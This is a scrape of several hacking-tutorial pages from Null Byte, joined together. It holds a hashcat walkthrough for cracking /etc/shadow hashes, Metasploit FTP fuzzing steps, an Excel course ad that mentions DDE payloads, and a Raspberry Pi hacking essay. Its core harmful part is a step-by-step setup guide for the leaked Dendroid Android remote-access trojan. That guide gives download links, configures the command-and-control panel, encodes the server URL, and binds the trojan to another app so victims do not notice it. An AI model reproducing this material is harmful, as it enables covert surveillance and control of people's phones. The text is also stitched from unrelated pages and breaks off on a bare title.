to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Detect Vulnerabilities in a Web Application with UniscanHack Like a Pro:How to Scan for Vulnerabilities with NessusHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Conduct Recon on a Web Target with Python ToolsHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Perform a Large-Scale Network Security Audit with OpenVAS's GSAHow To:Scan Websites for Vulnerabilities with ArachniHow To:13 QR Code Scanners That Won't Send You to Malicious Webpages on Your iPhoneHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Top 10 Exploit Databases for Finding VulnerabilitiesHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal Logins
Hack Like a Pro: How to Crack Passwords, Part 3 (Using Hashcat) « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!Continuing with my series onhow to crack passwords, I now want to introduce you to one of the newest and best designed password crackers out there—hashcat. The beauty of hashcat is in its design, which focuses on speed and versatility. It enables us to crack multiple types of hashes, in multiple ways, very fast.As mentioned inthe first partof this series, passwords are stored in a one-way encryption called hashes. There are multiple ways of obtaining these hashes, such as .dll injection in Windows systems or capturing the hash in transit, such as inWPA2 wireless cracking.Once we can grab the hash, the next step becomes one of finding an effective and efficient way of cracking it. There are numerous tools, some of which I have highlighted in other articles here, but hashcat is unique in its design and versatility, so let's take a look at how it works.Step 1: Fire Up Kali & Open HashcatLet's start by firing upKaliand opening hashcat. Go to Applications -> Kali Linux -> Password Attacks -> Offline Attacks ->hashcat, as seen below.When we click on the hashcat menu item, it opens the help screen.At the top of the screen, you can see the basic hashcat syntax:kali > hashcat options hashfile mask|wordfiles|directoriesWe can see some of the options for hashcat displayed below the basic syntax. Some of the most important of these are-m(the hashtype) and-a(attack mode). In general, we will need to use both of these options in most password cracking attempts with hashcat.Step 2: More Extensive OptionsIf we scan a bit further down this hashcat help screen, we can see more options. The first two below are some of the key options that hashcat enables.First, hashcat enablesrulesthat allow us to apply specifically designed rules to use on our wordlist file. These rules can take our wordlist file and apply capitalization rules, special characters, word combinations, appended and prepended numbers, and so on. Each of these will help us to break passwords that have been made more complex to avoid dictionary attacks.The next stanza shows uscustom character sets. This enables us to set the character set that we want to use to crack the passwords. If we know the company's or institution's password policy, we can choose a subset of all characters to meet their policy and speed up our cracking. For instance, if a company allows an all-numeric character set, choose to crack the hashes with just numbers. These types of passwords are VERY easy to crack.The next screen includes some of the more obscure options, including theoutput file type, thedebug modeand thebuilt-in character sets.Finally, we have to chose the type of hash we are trying to crack. Hashcat gives us numerous options. When we get ready to crack the hash, we need to designate in our command what type of hash we are working with by giving hashcat the number associated with the hash type. Here we can see a list of some of the hash types hashcat can work with.Step 3: Choose Your WordlistIn this tutorial, we will be using a simple dictionary attack on someLinuxhashes. To do so, we need a wordlist to work from. There are literally thousands of wordlists available on the web, but Kali has numerous wordlists built right in, so let's try using one of those.To find the built in wordlists in Kali, we can type:kali > locate wordlistWhen we do, we can see that there are dozens of wordlists available.I will be using the wordlist built for sqlmap, which has over one million words and hybrid words.Step 4: Grab the HashesIn the next step, we need to grab the hashes on our Kali system. If we are logged in as root, we can see and grab the hashes. In Linux, the hashes are stored in the/etc/shadowfile, so if we type:kali > tail /etc/shadowWe can see the shadow file with the hashes, as below.Next, we need to know what type of hashing the system is using. In Linux, we go to the/etc/login.defsto view what encryption type the system is using. We open that file by typing:kali > more /etc/login.defsWhen we navigate about 85% down the file, we can see that Kali is using SHA512 encryption. This is important, as we will need to tell hashcat this information when we are ready to crack the hashes.Step 5: Crack the Hashes!Now, that we know the basics of hashcat, where the hashes are located and the type of encryption, we are ready to begin cracking the hashes.Let's first put those hashes into a separate file we will namehash.lst.kali > cp /etc/shadow hash.lstTo make sure that they were copied over, let's check by typing:more hash.lstAs we can see, the hashes have been copied over to the hash.lst file.To prepare this file for cracking, we need to remove all of the information in this file, except the hashes. The/etc/shadowfile includes the username, then the salted hash, and then information about the applicable user policy. We need to remove all that information leaving just the hash.We can see that this file starts with the username, i.e., "user1", "user2", etc. Open this file in your favorite text editor (vim, vi, leafpad) and delete the username and the following colon. Then, go to the end of the line and remove the information after the hash that starts with a colon (:). Now we will have a file with just the hashes and nothing else.In the final step, we can now start cracking the hashes. Here's the command I used.kali > hashcat -m 1800 -a 0 -o cracked.txt --remove hash.lst /usr/share/sqlmap/txt/wordlist.txt-m 1800designates the type of hash we are cracking (SHA-512)-a 0designates a dictionary attack-o cracked.txtis the output file for the cracked passwords--removetells hashcat to remove the hash after it has been crackedhash.lstis our input file of hashes/usr/share/sqlmap/txt/wordlist.txtis the absolute path to our wordlist for this dictionary attackOnce the cracking process starts, we can hit <enter> to get an update on the process. When hashcat has completed its work, you will see a screen like below where hashcat announces that it has recovered all my hashes after 9 :47:16 of work.Now, we only need to open the cracked.txt file to view our cracked passwords!Hashcat may be the world's best password cracking tool right now, so take some time to get to know it. It has many more features that we have not yet touched on, and a version that uses your GPU (oclhashcat) that can crack passwords many times faster than your CPU can!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedNews:'Beast' Cracks Billions of Passwords in SecondsHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Use Hash-Identifier to Determine Hash Types for Password CrackingHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHacking macOS:How to Hack a Mac Password Without Changing ItHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsLocking Down Linux:Harden Sudo Passwords to Defend Against Hashcat AttacksNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)Hack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)Hack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Advice from a Real Hacker:How to Create Stronger PasswordsHow To:Crack MD5 Hashes with All of Kali Linux's Default WordlistsHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:How to Crack User Passwords in a Linux SystemHow To:Hack Wi-Fi Networks with BettercapHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:How to Crack Private & Public SNMP Passwords Using OnesixtyoneHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:GPU Accelerate Cracking Passwords with HashcatNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:How Hackers Take Your Encrypted Passwords & Crack ThemMastering Security, Part 1:How to Manage and Create Strong PasswordsRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Hack Mac OS X Lion PasswordsHow To:Recover WinRAR and Zip PasswordsGoodnight Byte:Coding a Web-Based Password Cracker in PythonHow To:Recover a Windows Password with Ophcrack
Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel Training « Null Byte :: WonderHowTo
It's nearly impossible not to be at least somewhat familiar with Microsoft Excel. While it's needed for many office jobs and data analysis fields, hackers could also benefit from improving their spreadsheet skills. Many white hats already know some of the essential Excel hacks, such ascracking password-protected spreadsheets, but there's so much more to know from an attack standpoint.For instance, you could exploit Dynamic Data Exchange (DDE) vulnerabilities tomake malicious code runwhen an XLS, XLSX, XLSM, XML, ordifferent file typeis opened in Microsoft Excel, as well as launchremote DDE workbook attacks from Power Query. Macros in Excel are alsopossible avenues of attackssince they can be programmed to run malicious instructions.And if you're interested in furthering any type of development or coding career that relies on large-scaledata analysis, having an in-depth understanding of Excel will allow you to both manage your projects and land better positions in the industry, and theeLearnExcel: The 2020 Excel Certification School Bundlewill get you up to speed for just $48.99.With lifetime access to 60 hours of training and 300 lessons that revolve around real-world projects, this bundle will transform you from an Excel novice into a full-fledged pro, through instruction that focusses on a wide range of analytical tools and functions. Often, to become a master hacker, you need to master the programs, platforms, and tools that you're attacking, and that rings true for Excel too.Used and trusted by some of the world's most successful companies, including Microsoft and Facebook, eLearnExcel covers everything from the absolute basics of the platform to more advanced topics such as formulas and functions, data modeling, complex charts and graphs, pivot tables, workbooks, and more.There's also instruction that walks you through macros and Visual Basic for Applications (VBA) — the programming language of Excel and several other Office programs — so you'll be able to manipulate an endless number of operations to save time, streamline your workflow, or better develop payloads.And when you've completed your training, you'll earn a valuable certificate of completion that will help you stand out to hiring managers and recruiters in a range of industries, if that's your end goal (or at least something you're thinking about).Add a detailed understanding of Microsoft Excel to your data and analytics toolkit with a lifetime subscription to eLearnExcel: The 2020 Excel Certification School Bundle forjust $48.99— 95% off its usual price today.Prices are subject to change.Try It Out:eLearnExcel: The 2020 Excel Certification School Bundle for $48.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byNull ByteRelatedHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Hack Your Business Skills with These Excel CoursesHow To:Supercharge Your Excel Skills with This Expert-Led BundleHow To:Prep for a Lucrative Project Management Career with These CoursesHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Expand Your Coding Skill Set by Learning How to Build Games in UnityHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Become an In-Demand Web Developer with This $29 TrainingHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:8 Web Courses to Supplement Your Hacking KnowledgeHow To:Go through job training to expand your skill setHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHow To:Harness the Power of Google Analytics with This $20 TrainingHow To:Become a Big Data Expert with This 10-Course BundleHow To:Use Microsoft.com Domains to Bypass Firewalls & Execute PayloadsHow To:Repeat a task with a VBA For...Next loop in MS ExcelHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)How To:Master Excel with This Certification BundleHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:Become a Master Problem Solver by Learning Data Analytics at HomeNews:Now's the Perfect Time to Brush Up on Your Excel SkillsHow To:Add a Battery Meter & System Stats to the Information Stream on Your Galaxy S6 EdgeHack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)Hack Like a Pro:How to Evade AV Detection with Veil-EvasionHow To:Write an analytical proof of the quadratic formulaHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)How To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHow To:Use the RANK and PERCENTRANK functions in MS ExcelHow To:Draw Two Point PerspectiveNews:Microsoft Ribbon HeroNews:Storage CellarNews:9 Easy Exploits to Raise Combat Skills in SkyrimNews:Take it onNews:Build Your Own Van De Graaff GeneratorHow To:Open the Page Setup dialog box in Microsoft Excel 2007
Hack Like a Pro: Exploring Metasploit Auxiliary Modules (FTP Fuzzing) « Null Byte :: WonderHowTo
Welcome back, my hacker novitiates!In previous guides, we have used one of the most powerful hacking platforms on the planet,Metasploit, to perform numerous hacks. They ranged from exploitingWindows XPandWindows 7/8vulnerabilities, toinstalling a keyloggerandturning on a webcam remotely. We have even been able tosave the world from nuclear annihilation,see if our girlfriend is cheating,spy on suspicious neighbors,evade antivirus detection, and more.In each of those tutorials, we focused primarily on using two types of Metasploit modules, the exploits and the payloads, but Metasploit has several other types including NOPs (no operations), encoders, post (post exploitation), and auxiliary. In this article, I want to introduce you to the auxiliary modules in Metasploit where many powerful tools await our call.Step 1: Fire Up KaliLet's get started. First, fire upKaliand open a terminal like that below.Step 2: Go to Metasploit Framework DirectoryNow, let's navigate to the Metasploit directory in Kali:cd /usr/share/metasploit-frameworkPlease note that we are not invokingthe Metasploit console. We are simply navigating to where Metasploit resides in the file system, so that we can explore what modules exist there.Next, let's list the contents of that directory like that below.kali > ls -lLet's now navigate to the subdirectory modules and do a listing on that subdirectory.kali > cd moduleskali > ls -lAs we can see in the screenshot above, Metasploit has six (6) different types of modules:auxiliaryencodersexploitsnopspayloadspostAs stated before, in nearly every previous Meatsploit tutorial here on Null Byte, we have focused exclusively on the exploits and payloads. I have also done a couple of guides on using theencodersmodule, but we have never explored the NOPs, auxiliary, or post modules. Today, let's examine what is available to us in the auxiliary module.Step 3: Open Auxiliary DirectoryFirst, let change directories to the auxiliary directory and do a directory listing.kali > cd auxiliarykali > ls -lWhen we do so, we can see that the auxiliary module directory is broken down to many sub-directories starting with theadmindirectory and ending through thevspoitdirectory.Step 4: Explore the Auxiliary Sub DirectoriesAs you can see, there are numerous auxiliary directories and modules, but for now, let's focus on one—thefuzzers.FuzzingFuzzing is the practice of attempting random input into a variable area to see whether we can "break" it. That is, if we try to put too much data or a data of a type not expected, we may be able to get the buffer to overflow.Buffer overflows (I'll do a few articles soon on this subject) are among the most serious types of vulnerabilities as they often enable us to execute our own code remotely. Fuzzing is often the first step in finding a vulnerability that may lead to the development of a zero-day exploit.Now let's navigate to the fuzzer directory:kali > cd fuzzersOnce we are in the fuzzer directory, let's look inside with an long listing.kali > ls -lAs you can see, Metasploit has seven (7) types of fuzzers:dnsftphttpsmbsmtpsshtdsEach of these directories include programs or scripts that enable us to fuzz a particular protocol or function. We will focus our attention onftp fuzzingin this tutorial.Step 5: Open the FuzzersLet's look inside the ftp fuzzing directory:kali > cd ftpkali > ls -lAs you can see, there are two fuzzers for ftp, theclient_ft.rband theftp_pre_post.rb. Let's use theftp_pre_post.Step 6: Use the FTP Pre Post FuzzerNow that we have identified an auxiliary module we want to use, let's open the msfconsole and find and use this module. Open the msfconsole by typingmsfconsolein any directory from a terminal. This will open up the msfconsole and provide us with an msf prompt.To find the fuzzer modules in Metasploit, we can use the search function built into msfconsole. We can type:msf > search type:auxiliary fuzzersHere we are asking msfconsole to list us only those modules that are auxiliary (type:auxiliary) and contain the keyword, ftp.The results of that search are listed above. I have highlighted in the screenshot the module we will be using,auxiliary/fuzzers/ftp/ftp_pre_post.Step 7: Load the Fuzzer ModuleTo load the module, simply type:msf > use auxiliary/fuzzers/ftp/ftp_pre_postLet's take a look at the particulars of this module by looking at its info page.msf > infoAlthough this module has many options, to run it we only need to provide a target IP address. In this case, we will run it against a Windows 2003 server with IIS 6.0 and an FTP server. Let's set the IP address:msf > set RHOSTS 191.168.89.191After setting the target IP address, we then only need torunthis ruby script.msf > runAs we can see above, the fuzzer begins by running random input set to size 10 bytes and increments the size by 10 each attempt. The default setting runs to size 20,000, but we can change that to any value that we find appropriate.After attempting random input, it then begins to attempt various command inputs once again beginning at 10 bytes and incrementing by 10 to 20,000 bytes. It will stop when it finds two error messages or comes to the end of all of its attempts. Just a warning, this can take hours.Keep coming back, my hacker novitiates, as we explore more Metasploit auxiliary modules and use them to find unknown vulnerabilities and progress toward developing our own zero-day exploits.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaHack a WeekRelatedHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Hacking the Heartbleed VulnerabilityHow To:Create a Metasploit Exploit in Few MinutesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How to Hack Databases:Hunting for Microsoft's SQL ServerHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:How to Hack the Shellshock VulnerabilitySEToolkit:Metasploit's Best FriendHow To:Discover Open Ports Using Metasploit's Built-in Port ScannerHack Like a Pro:How to Hack Facebook (Same-Origin Policy)How to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)How To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHow To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingHow To:Run an FTP Server from Home with LinuxHack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter
How to Setup Dendroid (Android RAT) « Null Byte :: WonderHowTo
This is my first How-To on Null-Byte, so I hope it's not too complicated written, because I am not a native english speaker. I don't use pictures, butthisTutorial is a good supplement for my updated Tutorial here.This Tutorial shows you how to set up the old (First leaked in March 2014) but functional Remote Administration Tool for Android "Dendroid". It was first offered on black markets for 300$, but after the leak you can get it for free:http://ge.tt/2nSvLv82/v/0. If you prefer Open-Source Tools you can either use the github Link:https://github.com/qqshow/dendroid.If you need some pictures of the whole process you can useRequired:First you need the Dendroid Source, given abouth.Then you need the Android SDK and Eclipse with Android ADT: SDK Tools Onlyhttp://developer.android.com/sdk/index.html#Otherand Android ADT for Eclipse (Of course you need Eclipse too). Installation of them is explained later.And at least you need a Webserver with PHP and MySql. For examplehttp://bplaced.netSetting Up the Web PanelI will use bplaced.net as an example for setting up the webserver:Create an Account (The username is the Domain of your Server)Now You see the control panel of your WebserverNavigate tohttp://www.bplaced.net/?handler=mysqland add a MySql databaseNow go to phpmyadmin (phpmyadmin.<username>.bplaced.net)Select your Database on the left side of phpmyadmin and then click on import at the top and add the Sql file located in Dendroid>Dendroid Panel>Other files. This should add the required TablesNavigate to the Dendroid Panel Folder and then to the Folder "Panel". Open applysettings.php, blockbot.php ,deletebot.php ,deletefile.php ,deletepics.php ,functions.php, table.php, clearawaiting.php, clearmessages.php In your text editor of your choice. In every file you will see $url = "http://pizzachip.com/rat/"; Change this adress with the adress of your Webserver, for example: $url = "http://dendroid.bplaced.net";Open get.php, get-functions.php, new-upload.php ,upload-pictures.php ,find the line { if($GET'Password' == "keylimepie") }Change keylimepie to your Database password assigned in Step 3Open reg.php and delete the script. The whole Script has to be this:<?php$validDomain = "true";?>Now control the files whether they are correct configured. If they are wrong configured Dendroidwontwork!UploadIf you are sure everything went right, you have to upload the content of the folder Dendroid Panel to your webserver. I suggest to use FileZilla, which is easy to understand. For example if you use bplaced, the login credentials are: Server: <username>.bplaced.net Username: <username> Password: Password of your bplaced account ,Leave the port field blankOn the left side you can see your files and on the right side you see the files of your webserver. Delete the Files of your webserver and then copy the content of your Dendroid Panel folder to the webserver.Dendroid SetupNavigate in your browser to your webserver <username>.bplaced.net.You should be greeted with a setup form.The required Settings:Database Username: Your username of the Sql DatabaseDatabase Password: Your Password of the Sql DatabaseDatabase Host: Host of your Sql Database (In bplaced.net: localhost)Database Name: Your Database name (In bplaced.net: Username of your account)Bot List Refresh Time & File List Refresh Time & Message Box Refresh Time: Set all to 10Username: Use the username you want to use for logging in to the control panelPassword: Same for the PasswordBot Offline Time: 10Time Zone: Is clear, isn`t it?Message Box Font Size: 10Now continueSetting Up the Dendroid ApkNow you have to open the SDK Manager you have downloaded at the start. You can download everything you want, but important is the API 10.Set up the ADT for Eclipse. This is a good Tutorial for this:http://www.instructables.com/id/How-To-Setup-Eclipse-for-Android-App-Development/step5/Obtain-Eclipse-IDE/Follow the instructions till step 9.Click File > New > Project > Android > Android Project From Existing Code > Next > Browse > Open the path to the Dendroid source then Dendroid Apk > FinishClick the Drop Down Arrow for Dendroid > src > com.connect > Then click MyService To Open it.Usebase64encode.orgto encode your url and the Password of your webserver. Change the variables encodedURL and backupURL to your encoded webserver URL, but pay attention that you use for examplehttp://dendroid.bplaced.netandnothttp://dendroid.bplaced.net/This is required to get Dendroid running.Paste the encoded Password in the Password Field.Now click on project>properties. Here you have to ckeck the API level 10 or Android 2.3.3, to get compiling working.Click on your project in the project Manager on the left side of Eclipse and press F2 to rename the Project to "Dendroid". Then Click File > Export > Android > Export Android Application > Select Dendroid.Click Ok, then next. Now check "Create new keystore". The location and the password don't matter. Click next again, then use everything as name and password. The validity can be 1000 Years. Now you can change the destination of the output apk and finish the compilation.Optional: Binding the Dendroid Apk to Another ApkI recently developed a method to bind the Dendroid Apk with another Apk. You can find the Posthere! The Hiding Apk will work as well as installed without Dendroid, so the victim wont identify the payload.Congratulations!You just completed the setup of Dendroid apk. If you have Problems or get Errors when following these Instructions feel free to pm me. I will try to help as much as I can!~ThogsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Bind Dendroid Apk with Another ApkHow To:Gain Complete Control of Any Android Phone with the AhMyth RATNews:Deadly Lungworm Parasite Spread by Rats & Snails Is More Prevalent Than We ThoughtHow To:Program Your Own Little RAT (Part 1) Getting the Server WorkingHow To:Setup a wireless home networkHow To:Introduction to Botnets and RATs : Part 1A New Breed of Invertebrate:Half-Rat, Half-Silicone Cyborg JellyfishHow To:Setup basic PBR lighting in Houdini 9How To:Train Your Pet Rat to Play BasketballHow To:Pull a Twitching Dead Rat PrankBotnets and RATs:Precautionary Measures and Detection (Part 2)How To:Use Pupy, a Linux Remote Access ToolNews:A Rare Disease Outbreak in the Bronx Linked to Eewww Source—Rat PeeNews:The Soft Fur RatNews:Rat Trap WalkNews:Edible Dead RatNews:"Rat Tales" by the old surfer man BarettaNews:Romanian Meat. (RAT MEAT)News:Sticky WakeupNews:The Godfathers of Street Art. (non-letter based)News:People really do like this sportNews:The Rat Trap prankHow To:Handle and restrain a rat for injectionsNews:Skater Dolly EssentialsNews:Cool Hydroponic Setup, Completely Home Made
Raspberry Pi: Hacking Platform « Null Byte :: WonderHowTo
First of all, I would like to apologize for a week long absents for the tutorials of this newly series,Raspberry Pi.But obviously I'm back and I present all you guys a article on turning your Raspberry Pi into a hacking platform. I'm gonna use the platform Kali Linux for the Raspberry Pi. I should note that I'm not gonna go into detail on how to install Kali Linux since OTW already has done a tutorial on how to turn your Raspberry Pi into aHacking Pi. The point of this particular tutorial is to explain Kali in general and also a few things I have noted on the Pi.Raspberry Pi: HackingFirst off is to explain that even though the Raspberry Pi has the same capabilities of a desktop or laptop, I should note that the Pi has its limits. Since there's not a whole lot of 'power' with the Pi I have concluded anything that requires long term running, like a DDoS attack, the pi wouldn't be able to handle it the long. I should mention that a DDoS attack on a regular computer still takes a lot out of the computer. Understanding the limits of the Pi is crucial to success. With that being said, my advice is to not push the Pi past its limits.Now, a Pi has become my favorite platform to test several experiments. Since it's tiny, it's ideal for inside hacks:'Raspberry Pi has an Ethernet connection and you can add a wireless adapter. The Raspberry Pi is so small it can be hidden in numerous places. These include inside a desktop computer, inside a telephone, clock, etc. without being noticed.'- OTWMy point here is that sometimes you can't hack remotely but need to get 'behind enemy lines'. A combination of creativity and intellect, is a important skill with turning your tool into a weapon.Building the EnvironmentI'm assuming you have installed Kali Linux or at least a Linux operating system, so the next step is getting the tools that you'll need. It all depends on what you want to accomplish, understanding different tools for different task is also important but there's plenty of articles on that subject on here so I won't go into detail. I should also note that having multiple micro sd cards for different task is extremely useful, besides they don't cost that much.But Kali Linux or a Linux Os is not even close to what I think is necessary to build a efficient and flexible environment. Think on this scenery, you're trying to hack into a system but the exploit you need is nowhere on the web, hence a Zero Day exploit. What other option you have? Coding.You can score the internet for hours on end and pay million of dollars on tools, but sometimes there's no tool to get the job done. Usually when this happens you need to code your own tool. That's why coding is just as important as hacking in itself. Setting up just a environment for hacking, never gets the job done. I cannot emphasis enough how important knowing a few languages is essential. With that being said, I cannot say how to setup your environment on your personal Pi.ConclusionHow does this all relate to the Raspberry Pi? The Pi allows you to customize your system any way you like, you have control over everything. With great power comes great responsibility, as the saying goes, but knowing what to tool to download or what programming language to is all up to you, no one can tell you what to do or how to do it. And that's how the world should run.Ok, so that's my article on Raspberry Pi and Hacking in general. This one isn't necessarily a tutorial to do anything, but I thought this article was necessary especially to all who are new to this whole hacking business.I am trying to create articles that don't repeat a previous article, because there's no point. So if these articles are vague I do apologize but I am trying to create unique articles that if need be point to the right articles that explain a concept or a tool in more detail. In the future I am planning on posting a few tutorials on a number of tools that are either unique to the Pi or can be used differently. Please, comment below and give me some lovins. :)Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+The Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Build a Portable Pen-Testing Pi BoxOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Hack WPA WiFi Passwords by Cracking the WPS PINRaspberry Pi:Physical Backdoor Part 1News:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Turn Any Phone into a Hacking Super Weapon with the SonicRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesRaspberry Pi:MetasploitHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)
How to Use MDK3 for Advanced Wi-Fi Jamming « Null Byte :: WonderHowTo
